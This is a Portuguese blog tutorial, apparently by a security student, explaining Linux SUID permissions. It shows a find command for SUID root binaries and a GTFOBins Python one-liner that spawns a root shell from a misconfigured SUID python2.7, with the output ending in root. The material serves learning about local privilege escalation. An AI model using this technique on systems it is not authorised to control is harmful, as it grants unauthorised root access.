Go Back

SUID Privilege Escalation

Privilege escalation é uma vulnerabilidade que permite que o hacker consiga elevar seus privilégios, obtendo acesso à recursos protegidos.
Neste artigo, vou explicar e demonstrar como escalonar seus privilégios através do SUID.

SUID Privilege Escalation

O que é o SUID

BIT SUID é uma permissão especial que faz com que quando um arquivo seja executado, este tenha as mesmas permissões do usuário proprietário deste arquivo. O que permite que outros usuários sejam tratados como root (ou algum outro usuário), ao executar o arquivo.

Vamos a um exemplo:

O root é dono de um arquivo que executa o comando passado por argumento, este arquivo tem o bit SUID, e todos os usuários tem permissão de executá-lo. Caso um usuário comum use esse script para executar um comando, esse comando será executado como root devido ao bit SUID.

Encontrando arquivos com o bit SUID

Agora que já entendemos como funciona o bit SUID, vamos encontrar arquivos com o bit SUID e que o dono seja o root.

Para isso usaremos uma ferramenta que já vem com o linux chamada find, vamos ao comando.

find / -user root -perm /4000 2>/dev/null

Explicando o comando:

Especifica o dono do arquivo -user root
Procura por arquivos com o bit SUID -perm /4000
Esconde os erros 2>/dev/null

Resultado:

reddyyz@fsociety~$ find / -user root -perm /4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/chromium/chrome-sandbox
/usr/lib/xorg/Xorg.wrap
/usr/libexec/spice-client-glib-usb-acl-helper
/usr/share/code/chrome-sandbox
/usr/sbin/mount.cifs
/usr/sbin/mount.nfs
/usr/sbin/pppd
/usr/bin/mount
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/python2.7
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/vncserver-x11
/usr/bin/kismet_cap_linux_wifi
/usr/bin/chfn
/usr/bin/bwrap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/ntfs-3g
/usr/bin/pkexec
/usr/bin/umount
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/Xtightvnc
/home/reddyyz/VMWARE/vmware-tools-distrib/lib/bin64/vmware-user-suid-wrapper
/home/reddyyz/VMWARE/vmware-tools-distrib/lib/bin32/vmware-user-suid-wrapper

Esses são todos os arquivos com permissão SUID que o dono é o root.

Encontrando e explorando um privilege escalation

Olhando esses arquivos, um que chama atenção é o /usr/bin/python2.7.
Vamos verficiar se existe algum exploit conhecido para o python no GTFOBins, site com várias formas de privilege escalation.

GTFOBins Python

Encontramos uma forma de escalar nossos privilégios!
Vamos executar o comando python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

reddyyz@fsociety:~$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
# 

Conseguimos escalar nossos privilégios com sucesso para root!

SOBRE MIM

Sou um estudante de hacking, e com este blog pretendo repassar todo o meu aprendizado!

CATEGORIAS